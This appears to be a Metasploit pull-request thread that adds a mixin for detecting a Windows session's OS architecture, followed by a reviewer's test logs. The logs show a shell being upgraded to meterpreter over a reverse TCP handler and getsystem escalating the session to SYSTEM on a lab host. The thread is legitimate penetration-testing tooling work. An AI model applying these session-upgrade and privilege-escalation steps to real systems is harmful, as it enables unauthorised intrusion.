Created mixin to retrieve the architecture of the current shell.

[smashery]

Adds a mixin to support retrieving the architecture of the current shell. In meterpreter, this uses the built in behaviour, which calls the appropriate API. In command shells and PowerShell, looks at the appropriate environment variables.

I added this to the shell_to_meterpreter module for now.

Currently only supports Windows, tested on Win2000 upwards.

Verification

To test this, I created a test module, that simply includes the mixin, calls get_os_architecture and prints it out.

Tested on:

Command Shell

• Windows 2000 x86
• Windows XP x86
• Windows 2003 x86
• Windows XP x64
• Windows XP x64 (x86 process)
• Windows Server 2008 x64
• Windows Server 2008 x64 (x86 process)
• Windows Server 2008 R2 x64
• Windows Server 2008 R2 x64 (x86 process)
• Windows Server 2012 x64
• Windows Server 2012 x64 (x86 process)
• Windows 10 x64
• Windows 10 x64 (x86 process)
• Windows Server 2022 x64
• Windows Server 2022 x64 (x86 process)

Meterpreter

• Windows XP x86
• Windows 2003 x86
• Windows XP x64
• Windows XP x64 (x86 process)
• Windows Server 2008 x64
• Windows Server 2008 x64 (x86 process)
• Windows Server 2008 R2 x64
• Windows Server 2008 R2 x64 (x86 process)
• Windows Server 2012 x64
• Windows Server 2012 x64 (x86 process)
• Windows 10 x64
• Windows 10 x64 (x86 process)
• Windows Server 2022 x64
• Windows Server 2022 x64 (x86 process)

PowerShell

• Windows Server 2008 R2 x64
• Windows Server 2008 R2 x64 (x86 process)
• Windows Server 2012 x64
• Windows Server 2012 x64 (x86 process)
• Windows 10 x64
• Windows 10 x64 (x86 process)
• Windows Server 2022 x64
• Windows Server 2022 x64 (x86 process)

Python:

• Python-32-bit on Win10 x64
• Python-64-bit on Win10 x64

Java:

• JRE64 on Win10

[gwillcox-r7]

One minor concern, but otherwise this code looks good, nice work!

[gwillcox-r7]

Windows Server 2022 WOW64 session working fine:

msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                      Connection
  --  ----  ----               -----------                                                      ----------
  2         shell x86/windows  Shell Banner: Microsoft Windows [Version 10.0.20348.1726] -----  192.168.64.128:35533 -> 192.168.64.138:4444 (192.168.64.138)

msf6 post(multi/manage/shell_to_meterpreter) > exploit

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.64.128:4433 
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (200774 bytes) to 192.168.64.138
[*] Meterpreter session 3 opened (192.168.64.128:4433 -> 192.168.64.138:50066) at 2023-06-05 11:25:46 -0500
[*] Stopping exploit/multi/handler

msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                                      Connection
  --  ----  ----                     -----------                                                      ----------
  2         shell x86/windows        Shell Banner: Microsoft Windows [Version 10.0.20348.1726] -----  192.168.64.128:35533 -> 192.168.64.138:4444 (192.168.64.138)
  3         meterpreter x64/windows  DAFOREST\Administrator @ WIN-E72FSF87GO1                         192.168.64.128:4433 -> 192.168.64.138:50066 (192.168.64.138)

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: DAFOREST\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

[gwillcox-r7]

And with a native x64 shell on x64 it also seems to be correctly identifying the host as a x64 host:

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 6
SESSION => 6
msf6 post(multi/manage/shell_to_meterpreter) > explit
[-] Unknown command: explit
msf6 post(multi/manage/shell_to_meterpreter) > exploit

[*] Upgrading session ID: 6
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.64.128:4433 
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (200774 bytes) to 192.168.64.138
[*] Meterpreter session 7 opened (192.168.64.128:4433 -> 192.168.64.138:50092) at 2023-06-05 11:32:52 -0500
[*] Stopping exploit/multi/handler

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > getuid
Server username: DAFOREST\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 7...
smsf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                                      Connection
  --  ----  ----                     -----------                                                      ----------
  6         shell x64/windows        Shell Banner: Microsoft Windows [Version 10.0.20348.1726] -----  192.168.64.128:40933 -> 192.168.64.138:4444 (192.168.64.138)
  7         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-E72FSF87GO1                            192.168.64.128:4433 -> 192.168.64.138:50092 (192.168.64.138)

msf6 post(multi/manage/shell_to_meterpreter) > 

[gwillcox-r7]

Content looks good, will land this once tests pass.

[gwillcox-r7]

Release Notes

A new mixin has been added to support detecting the architecture of the host OS on Windows systems. Support for other OSes will be added at a later date.